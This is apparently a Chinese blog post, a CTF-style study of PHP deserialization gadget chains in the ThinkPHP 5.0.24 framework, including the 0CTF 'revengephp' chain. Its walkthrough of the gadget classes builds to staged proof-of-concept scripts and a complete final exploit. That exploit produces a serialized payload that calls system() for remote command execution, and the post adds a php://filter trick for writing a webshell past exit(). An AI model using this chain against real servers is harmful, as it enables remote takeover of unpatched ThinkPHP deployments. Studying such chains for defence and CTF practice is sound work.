通过revengephp理解thinkphp反序列化链


理解在此前公开的反序列化链

不仅仅是学pop链,更是学习框架调试

5.0.24反序列化漏洞分析

开发人员在写程序时会极力的避免安全问题的发生,所以CTF中通过一个Class文件来进行反序列化的操作几乎时不可能存在的

实际开发在类中很少用到魔术方法等“危险函数”,但我学完这道题后有了一个体悟——“危险函数”,凑一凑总会有的

提到的wp地址:https://www.hacking8.com/bug-web/Thinkphp/Thinkphp-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/Thinkphp-5.0.24-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html

thinkphp5.0.24魔术方法及位置

__destruct()

析构函数只在对象被垃圾收集器收集前(从内存中删除之前)才会被自动调用。

可以理解为对象用完之前调用

image-20211003213508732

一共有这些

按现有的wp,反序列化链子用了thinkphp\library\think\process\pipes\Windows.php下的__destruct()

__call()

调用的方法不存在时会自动调用,程序会继续执行下去。

image-20211003213836859

__call()比较多,按wp选择Output.php,thinkphp\library\think\console\Output.php因为其中的block可以当作跳板

最终执行的是Request中的__call()

image-20211003214202350

__toString()

格式化输出这个对象所包含的数据,当对象被当作字符串执行时使用

image-20211003215658427

__toString()也不多,wp中使用了Model类,thinkphp\library\think\Model.php

至此wp中提到的魔术方法位置全部分析完毕,接着直接分析思路

thinkphp5.0.24反序列化链分析

跟进 __destruct()

按wp的思路,首先跟进__destruct(),thinkphp\library\think\process\pipes\Windows.php

public function __destruct()
{
    $this->close(); // 关闭
    $this->removeFiles(); // 指向removeFiles方法
}

removeFiles()

/**
 * 删除临时文件
 */    
private function removeFiles()
{
    foreach ($this->files as $filename) { // 遍历files数组
        if (file_exists($filename)) { // 判断文件是否存在
            @unlink($filename); // 关闭文件连接-删除文件
        }
    }
    $this->files = []; // 清空 files数组
}

其中file_exists()函数可以调用__toString()方法,所以下一步要看看那个__toString()方法可以调用

__toString()

这一步我卡了好久,一直没有明白是怎么调进thinkphp\library\think\Model.php__toString()

直到我看了poc

class Windows extends Pipes{
    private $files = [];

    function __construct(){
        $this->files = [new Pivot()];
    }
}

搜索Pivot() ,找到thinkphp\library\think\model\Pivot.php

image-20211004195037451

Pivot类继承了Model类,所以只要将文件名设为Pivot的实例对象,框架就会调用进Model中的__toString()

toJson()

image-20211004195253706

接下来__toString()指向了toJson()方法,继续跟进

image-20211004195431444

到这里为止poc可以这样写

<?php
namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes{} // Windows对此进行了继承,所以需要写一下
class Windows extends Pipes{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
        /*Pivot类继承了Model类,所以files引用Pivot实例会跳转Model类的toString*/
    }
}

//调用至Model类
namespace think;
class Model{}
namespace think\model;
use think\Model;
class Pivot extends Model{}

//输出exp
namespace think;
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

image-20211009210524614

成功调用到toArray()方法

toArray()

接着继续跟进toArray()

public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation); // 合并data数组和relation数组

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array)); // 使用键名比较计算数组的交集
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array)); // 交換數組鍵和值后用建比較數組的差集
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

代码很多,这里我也没什么号的思路,wp是以目标来进行倒推

因为最终的目标是__call(),所以需要去找存在函数调用的点,并寻找那个调用可控

可以找到三个发生了方法调用的点

image-20211004210222133

追踪过去,发现只有第三个可控

image-20211004210313870

image-20211004210327337

调用条件可以根据代码得知

需要满足的条件是
if (!empty($this->append))
if (method_exists($this, $relation))
if (method_exists($modelRelation, 'getBindAttr'))
if ($bindAttr)

且不满足
if (is_array($name))
elseif (strpos($name, '.'))
if (isset($this->data[$key]))

然后分析$value的执行过程

protected $append = []; // 定义数组append
foreach ($this->append as $key => $name) {...} // 遍历,获取值为$name
$relation = Loader::parseName($name, 1, false); //解析name
if(method_exists($this, $relation)){...} // 判断$relation方法是否存在
$modelRelation = $this->$relation(); // 调用该方法
$value      = $this->getRelationData($modelRelation); // 获取$value
$item[$key] = $value ? $value->getAttr($attr) : null; // 进行判断

可知想得到可控的$value,必须使$modelRelation可控

而modelRelation调用了relation,并最终调用数组append

数组append可控*

还需要modelRelation可控,可以将$modelRelation设为getError

protected $error = []; // error可控
public function getError()
{
    return $this->error;
}

getRelationData(Relation $modelRelation)

我的最终目的是可以通过$value去Output类的__call方法

所以返回的$value应是一个不存在的方法

protected function getRelationData(Relation $modelRelation)
{
    if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
        $value = $this->parent;
    } else {
        // 首先获取关联数据
        if (method_exists($modelRelation, 'getRelation')) {
            $value = $modelRelation->getRelation();
        } else {
            throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
        }
    }
    return $value;
}

在跳转的这个方法中,第一条if语句是可控的,可以调用到Output类,条件

$this->parent // 存在parent
    /*写就有,目标也肯定是Output类*/
&&!$modelRelation->isSelfRelation() // $modelRelation 不为isSelfRelation方法
    /*无关紧要*/
&&get_class($modelRelation->getModel()) == get_class($this->parent) // parent的类名与$modelRelation指向结果类名一致
    /*
    * get_class($this->parent) == think\console\Output
    * get_class($modelRelation->getModel())
    */

getModel()

image-20211009215539409

该方法完成了一次调用,跳至thinkphp/library/think/db/Query.php的getModel方法

geModel() // Query类

image-20211009215724513

返回一个model,其中model是可控的

按照上面的条件

get_class($modelRelation->getModel()) == get_class($this->parent)

只需要使Relation类中query指向Query类,Query中model指向Output类即可

此时需要用到之前提到的数组error,该类完整的调用关系应该是

$modelRelation->query->->model;
//注意$modelRelation条件
method_exists($modelRelation, 'getBindAttr') && !isset($this->data[$key])

所以要将$modelRelation 赋值为一个可以调用query,或者说和Relation类有关系且存在getBindAttr的对象,并且Relation是抽象类,所以优先找子类

搜索后发现:

image-20211010095910991

model下有个名为OneToOne的抽象类继承了Relation类

抽象类不能被实例化,所以找OneToOne的子类

image-20211010100147506

这里有两个子类,随便一个应该都可以,这里我想和wp区分开,所以我用BelongsTo类

protected $error = [new BelongsTo()];

此时应该可以进入Output类

<?php
//调用至Model类
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;

class Model{
    protected $append = [];
    public $parent; // 对parent的调用出了子类,所以需要改为public
    protected $error;
    public function __construct(){
        $this->error = new BelongsTo();
        $this->append = ["getError"];
        $this->parent = new Output();
    }
}

namespace think\process\pipes;
use think\model\Pivot;
abstract class Pipes{} // Windows对此进行了继承,所以需要写一下
class Windows extends Pipes{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
        /*Pivot类继承了Model类,所以files引用Pivot实例会跳转Model类的toString*/
    }
}

// Pivot类
namespace think\model;
use think\Model;
class Pivot extends Model{}

//调用Output类
namespace think\console;
class Output{}

//调用Query类(Relation前置)
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    public function __construct()
    {
        $this->model =  new Output();
    }
}

// 调用Relation类(Model的条件判断)
namespace think\model;
use think\db\Query;
abstract class Relation{
    protected $query;
    public function __construct()
    {
        $this->query = new Query(); // 调用向Query,完成函数
    }
}

////调用继承了Relation的子类
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{}


//调用继承了OneToOne的子类
namespace think\model\relation;
class BelongsTo extends OneToOne{
    public function __construct()
    {
        parent::__construct();
        $this->bindAttr = ["no","123"];  // 使bindAttr值存在
    }
}

//输出exp
namespace think;
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

image-20211010114906516

class Output __call()

在这里进了__call

public function __call($method, $args)
{
    if (in_array($method, $this->styles)) {
        array_unshift($args, $method);
        return call_user_func_array([$this, 'block'], $args); //调用回调函数,并把一个数组参数作为回调函数的参数
        /*把第一个参数作为回调函数调用,把参数数组(第二个参数)作为回调函数的的参数传入。*/
    }

    if ($this->handle && method_exists($this->handle, $method)) {
        return call_user_func_array([$this->handle, $method], $args);
    } else {
        throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
    }
}

所以这里调用了block方法,继续跟上去

block()

//block
protected function block($style, $message)
{
    $this->writeln("<{$style}>{$message}</$style>");
}
//跟进writeln
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
    $this->write($messages, true, $type);
}
//跟进write
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
    $this->handle->write($messages, $newline, $type);
}
/*
*private $handle = null; handle可控
*/

到这里再跟下去没有意义,因为handle可控,所以直接全局搜write方法,寻找利用点

可以找到/thinkphp/library/think/session/driver/Memcached.php

image-20211010151914110

这里handle仍然可控,所以开始全局搜set()方法

File.php

一个一个找下去,可以找到一个写入文件的类

image-20211010153014237

这里我认为可能存在文件写入来造成rce,不过截止目前我并没有想到绕过的方法

反而收获一个小技巧

绕过“死亡”exit

在$data可控的前提下,这里可以进行任意文件的写入,但程序运行到exit就会终止,所以程序本身的exit()过滤掉

这个技巧可以看P牛的文章https://www.leavesongs.com/PENETRATION/php-filter-magic.html

简单来说只是用到了base64的一点小技巧

base64执行过分可以分为两步

1、将不属于base64编码的字符“处理”掉

2、解码处理后的base64字符串

若$data可控,那么就可以将要执行的代码进行base64编码后写入文件

然后用php特有的php://filter 协议以base64-decode的形式读取,这样程序自己写入的<?php exit();?>就会被解释为乱码,而我们自己写入的内容被正常解析,这样就达到了上传恶意文件的目的

不过显然这一步没法利用,但之后可以

filename可控

言归正传,想直接getshell的美妙想法大概是凉凉了,所以继续学习wp

除了$expire外,$filename同样可控

image-20211010171340538

跟进getCacheKey()

CacheKey()

protected function getCacheKey($name, $auto = false)
{
    $name = md5($name); // 先将传入的name值md5编码
    if ($this->options['cache_subdir']) {
        // 使用子目录
        $name = substr($name, 0, 2) . DS . substr($name, 2);
    }
    if ($this->options['prefix']) {
        $name = $this->options['prefix'] . DS . $name;
    }
    $filename = $this->options['path'] . $name . '.php'; // options可控,文件路径可控
    $dir      = dirname($filename);

    if ($auto && !is_dir($dir)) {
        //创建文件夹,权限755
        mkdir($dir, 0755, true);
    }
    return $filename;
}

这里可以创建一个具有读写权限的路径便于写入的shell执行一些操作

setTagItem()

回到File.php,在文件创建成功后会进行一次判断,

image-20211010175515850

跟进setTagItem()

protected function setTagItem($name)
{
    if ($this->tag) { 
        $key       = 'tag_' . md5($this->tag); // tag可控,故key可控
        $this->tag = null; //重置tag
        if ($this->has($key)) {
            $value   = explode(',', $this->get($key)); //将字符串key转为数组 
            $value[] = $name; // 在开头加上$name
            $value   = implode(',', array_unique($value)); //将数组转回字符串
        } else {
            $value = $name;
        }
        $this->set($key, $value, 0); //重新进入set
    }
}

当重新进入set()方法后,$name, $value值就存在了,而且都可控

此时再次调用进上面的方法,文件就成功写入了

image-20211010204705651

image-20211010204728040

至此thinkphp5.0.24的第一条pop链就利用完毕了

注: windows不能使用这条链进行rce

因为windows文件夹不允许绕过exit所使用的名称

而Linux没有直接限制,故这条链在windows环境只能写目录,而Linux环境可以getshell

POC 创建目录

<?php
//abstract class Driver
namespace think\cache;
abstract class Driver{}

//class File extends Driver
namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver{
    protected $options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => "./aaaaa/",
        'data_compress' => false,
    ];
}

//class Memcache extends SessionHandler
namespace think\session\driver;
use SessionHandler;
use think\cache\driver\File;

class Memcache extends SessionHandler {
    protected $handler = null;
    public function __construct()
    {
        $this->handler = new File();
    }
}

//class Output
namespace think\console;
use think\session\driver\Memcache;

class Output{
    protected $styles = ['getAttr'];
    private $handle = null;
    public function __construct()
    {
        $this->handle = new Memcache();
    }
}

//class Query
namespace think\db;
use think\console\Output;

class Query{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

//abstract class Relation
namespace think\model;
use think\db\Query;
abstract class Relation{
    protected $query;
    public function __construct()
    {
        $this->query = new Query();
    }
}

//abstract class OneToOne extends Relation
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation{
    protected $bindAttr = [];
    public function __construct()
    {
        parent::__construct();
        /**
        * 这里我本来也看的莫名奇妙
        * 直到我翻文章看到一句话
        * 三重继承的时候,最顶端的类的 __construct() 不会自动调用
        * 经过我自己的测试,是真的
        */
        $this->bindAttr = ['no','123'];
    }
}

//class BelongsTo extends OneToOne
class BelongsTo extends OneToOne{}

//abstract class Model
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;

abstract class Model{
    protected $append = [];
    protected $error;
    protected $parent;
    public function __construct()
    {
        $this->parent = new Output();
        $this->error = new BelongsTo();
        $this->append = ["getError"];
    }
}

// class Pivot extends Model
namespace think\model;
use think\Model;
class Pivot extends Model{}

//class Pipes
//class Windows extends Pipes
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files = [new Pivot()];
    }
}


namespace think\process;
use think\process\pipes\Windows;
$Windows = new Windows();
echo base64_encode(serialize($Windows));

image-20211011182333869

三重继承,最顶端的类的 __construct() 不会自动调用

<?php
abstract class  Relation{
    protected $query;
    public function __construct()
    {
        $this->query = "query";
    }
}
abstract class OneToOne extends  Relation {
    protected $bindAttr = null;
    public function __construct()
    {
        parent::__construct(); // 父构造器继承
        $this->bindAttr = "bindAttr";
    }
}

class BelongsTo extends OneToOne{


    public function getQuery(){
        echo $this->query;
    }
    public function getBindAttr(){
        echo $this->bindAttr;
    }
}

$BelongsTo = new BelongsTo();

echo $BelongsTo->getBindAttr(),"\n";
echo $BelongsTo->getQuery();
  • 注释父类构造调用

    最顶层query没有调用

image-20211011210214584

  • 不注释父类构造调用

    最顶层query调用成功

image-20211011210241263

我就说调试怎么总在这里跳到错误页面

思维导图

tu1-16341943845002

revengephp rce 链

上面那条有人已经挖到了windows环境下反序列化的方法,这个就不赘述了,接下来直接分析revengephp的rce链

这里模拟真实情况从后往前进行一次分析

原文地址https://igml.top/2021/09/28/2021-0CTF-FINAL/

调用已知终点

根据文章,已知rce终点为:private function filterValue(&$value, $key, $filters) 位于thinkphp/library/think/Request.php中

image-20211013161244461

这里我们需要一个可控$filter的方法,已经调用了filterValue()的方法来让我们进行下一步操作

调用filterValue()时前提条件,所以我们先全局搜索找到调用了filterValue()方法的位置

image-20211013164242347

只有两个,那就没其他的选择,

其中input中还调用了getFilter()方法,可以对$filter赋值

protected $filter;
if (is_null($filter)) {
    $filter = [];
} else {
    $filter = $filter ?: $this->filter; // 这里可控
}

cookie()方法没有调用点,直接排除

image-20211013162426856

阶段poc
namespace think;
class Request{
    protected $filter;
    public function __construct()
    {
        $this->filter = "system";
    }
}

image-20211013162044735

public function input()

接着找可以调用input()的位置

这里就很多了,不过最后选择get()

image-20211013163334433

因为这些能调用input()的方法仍然没有一个可以调出去,但记下位置进行查找,会发现get()可以被任意调用

image-20211013163856943

可控调用多的一匹,真是幸福的烦恼

这里有个很熟悉的地方

image-20211013165151697

眼熟吗?成功调进上一条链子,可控的都是handler

阶段poc
//class Request 执行终点
namespace think;
class Request{
    protected $filter;
    public function __construct()
    {
        $this->filter = "system";
    }
}

//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
    protected $handler = null;
    public function __construct()
    {
        $this->handler = new Request();
    }
}

//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}

至于为什么选择has()方法,set()指向了has(),而上一条链中间刚好指向了set()

image-20211013170403327

image-20211013191328955

这里指向了set()

注意,这里实际上并不是上一条链的Memcache.php,只是有着相同的类名

这里的Memcache位于thinkphp/library/think/cache/driver/Memcache.php

上一条位于thinkphp/library/think/session/driver/Memcache.php

所以从上一条该位置接过来,这条rce链就完成了

阶段poc
//class Request 执行终点
namespace think;
class Request{
    protected $filter;
    public function __construct()
    {
        $this->filter = "system";
    }
}

//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
    protected $handler = null;
    public function __construct()
    {
        $this->handler = new Request();
    }
}

//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}

//class Memcache extends SessionHandler 调向上面Memcache类的set方法
namespace think\session\driver;
use SessionHandler;
class Memcache extends SessionHandler{
    protected $handler = null;
    public function __construct()
    {
        $this->handler = new \think\cache\driver\Memcache();
    }
}

//class Output
namespace think\console;
use think\session\driver\Memcache;
class Output{
    private $handle = null;
    public function __construct()
    {
        $this->handle = new Memcache();
    }
}

从起点找调用位置

虽说上面其实已经可以去接poc了,不过我还是按正常逻辑分析一次

首先需要明确

找反序列化的过程都分为两个,一个是找起点,一个是找终点

这条链是假设在找到了终点的情况下去逆推调用起点

  • 终点:

    在反序列化中,最终用来执行我们目录的位置是终点

  • 起点:

    程序最初必然调用的点是起点

    简单来说:我们自然可以直接new 一个类去调用,但直接调用类不一定会调用进相应的方法,所以起点就是只要程序执行,就必然会调用的那个类,比如:__destruct(),__wake()等,偶尔也可以直接用__call()等方法

    总而言之,起点即为web应用类中必然执行的方法

在这两条链中,起点是thinkphp/library/think/process/pipes/Windows.php 下的__destruct()方法

所以首先是Windows

image-20211013190812410

image-20211013190850613

image-20211013190912843

后面就一样了

阶段poc
//class Request 执行终点
namespace think;
class Request{
    protected $filter;
    public function __construct()
    {
        $this->filter = "system";
    }
}

//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
    protected $handler = null;
    protected $tag;
    public function __construct()
    {
        $this->tag = true;
        $this->handler = new Request();
    }
}

//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}

//class Memcache extends SessionHandler 调向上面Memcache类的set方法
namespace think\session\driver;
use SessionHandler;
class Memcache extends SessionHandler{
    protected $handler = null;
    public function __construct()
    {
        $this->handler = new \think\cache\driver\Memcache();
    }
}

//class Output
namespace think\console;
use think\session\driver\Memcache;
class Output{
    private $handle = null;
    protected $styles = ['getAttr'];
    public function __construct()
    {
        $this->handle = new Memcache();
    }
}

// TODO 断点
//class Query 指向Output
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

//abstract class Relation
namespace think\model;
use think\db\Query;
abstract class Relation{
    protected $query;
    public function __construct()
    {
        $this->query = new Query();
    }
}

//abstract class OneToOne extends Relation
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation {
    protected $bindAttr = [];
    public function __construct()
    {
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}

//class BelongsTo extends OneToOne
namespace think\model\relation;
class BelongsTo extends OneToOne{}

//abstract class Model 指向Output类__call()
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;
abstract class Model{
    protected $error;
    protected $append = [];
    protected $parent;
    public function __construct()
    {
            $this->append =['getError'];
            $this->error = new BelongsTo();
            $this->parent = new Output();
    }
}

//class Pivot extends Model 继承Model,通过此类调用进Model
namespace think\model;
use think\Model;
class Pivot extends Model{}

//abstract class Pipes Windows继承类
namespace think\process\pipes;
abstract class Pipes{}

//class Windows extends Pipes 起点类 指向Pivot类
namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

$Windows = new Windows();
echo base64_encode(serialize($Windows));

exp

最终exp还要修改几个小点才可以调用成功,这里是我漏的几点分析

其实就是Request中input的一处判断问题

image-20211013212652688

exp分析(补)

Request中get赋值问题

如果用阶段poc打,会在如图所示的位置出问题

image-20211013211917186

在Request.php中调用get()方法时,如果get值为空,则会自动调用传入的get,导致get变成$_GET传入值

并如下图所示传给input()

image-20211013212124505

并会造成getinput()中if语句不能成功匹配,导致rce链中断

image-20211013212347171

所以需要给get赋值

isset($data[$val]

先随便赋值看看下一个问题

image-20211013212804889

上一个问题点成功绕过

image-20211013213022459

下个问题点

image-20211013213156418

显然,$data[$val]这个齐齐怪怪的东西在$data中不存在,$data就是传入的get数组

所以:**$val的值等于传入get数组的key值**

然后再下图处完成$filter的赋值

image-20211013213855627

而在下面**$this->filterValue($data, $name, $filter); $data(传入get数组的value值)做为参数&$value传入**

并在终点执行

image-20211013214240347

这里的foreach 告诉我们,传入的filter最好为数组,不过调试时我发现框架会自己吧字符串变成数组,所以这里无所谓数组字符串

言归正传

说了这么多,我就是想说,别把$data浪费了,所以get = [合法 $val(key)=> system函数参数(value)]

于是

get = ['"<getAttr>no<' => 'dir']; //【手动滑稽】

苟是苟了点,不过它不烧脑

image-20211013215417174

这不就过去了

好吧我们正经一点,按gml大佬写的来

image-20211013220802675

在这个位置,框架以 /为分界,将$name划为数组【就是上面的<getAttr>no</getAttr>

image-20211013221000548

而在Driver类的getCacheKey处可以控制$name,将options[‘prefix’] ,拼接到$name前面

所以 我们可以让options['prefix'] = xxx/,这样$val就会成为写入的xxx

然后设置get = ['xxx' => 'dir'],就可以解决第二个问题

$this->get = ['atmujie'=>'dir'];
$this->options = ['prefix'=>'atmujie/'];

这样写不就优雅多了

image-20211013221601612

image-20211013221447371

执行成功

最终exp

<?php
//class Request 执行终点
namespace think;
class Request{
    protected $filter;
    protected $get     = [];
    public function __construct()
    {
        $this->get = ['atmujie'=>'dir'];
        $this->filter = "system";
    }
}

//abstract class Driver{} Memcache父类
namespace think\cache;
use think\Request;
abstract class Driver{
    protected $handler = null;
    protected $tag;
    protected $options = [];
    public function __construct()
    {
        $this->tag = true;
        $this->handler = new Request();
        $this->options = ['prefix'=>'atmujie/'];
    }
}

//class Memcache extends Driver 调向Request
namespace think\cache\driver;
use think\cache\Driver;
class Memcache extends Driver{}

//class Memcache extends SessionHandler 调向上面Memcache类的set方法
namespace think\session\driver;
use SessionHandler;
class Memcache extends SessionHandler{
    protected $handler = null;
    public function __construct()
    {
        $this->handler = new \think\cache\driver\Memcache();
    }
}

//class Output
namespace think\console;
use think\session\driver\Memcache;
class Output{
    private $handle = null;
    protected $styles = ['getAttr'];
    public function __construct()
    {
        $this->handle = new Memcache();
    }
}

// TODO 断点
//class Query 指向Output
namespace think\db;
use think\console\Output;
class Query{
    protected $model;
    public function __construct()
    {
        $this->model = new Output();
    }
}

//abstract class Relation
namespace think\model;
use think\db\Query;
abstract class Relation{
    protected $query;
    public function __construct()
    {
        $this->query = new Query();
    }
}

//abstract class OneToOne extends Relation
namespace think\model\relation;
use think\model\Relation;
abstract class OneToOne extends Relation {
    protected $bindAttr = [];
    public function __construct()
    {
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}

//class BelongsTo extends OneToOne
namespace think\model\relation;
class BelongsTo extends OneToOne{}

//abstract class Model 指向Output类__call()
namespace think;
use think\console\Output;
use think\model\relation\BelongsTo;
abstract class Model{
    protected $error;
    protected $append = [];
    protected $parent;
    public function __construct()
    {
            $this->append =['getError'];
            $this->error = new BelongsTo();
            $this->parent = new Output();
    }
}

//class Pivot extends Model 继承Model,通过此类调用进Model
namespace think\model;
use think\Model;
class Pivot extends Model{}

//abstract class Pipes Windows继承类
namespace think\process\pipes;
abstract class Pipes{}

//class Windows extends Pipes 起点类 指向Pivot类
namespace think\process\pipes;
use think\model\Pivot;
class Windows extends Pipes{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}

$Windows = new Windows();
echo base64_encode(serialize($Windows));

文章作者: Atmujie
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Atmujie !
评论
  目录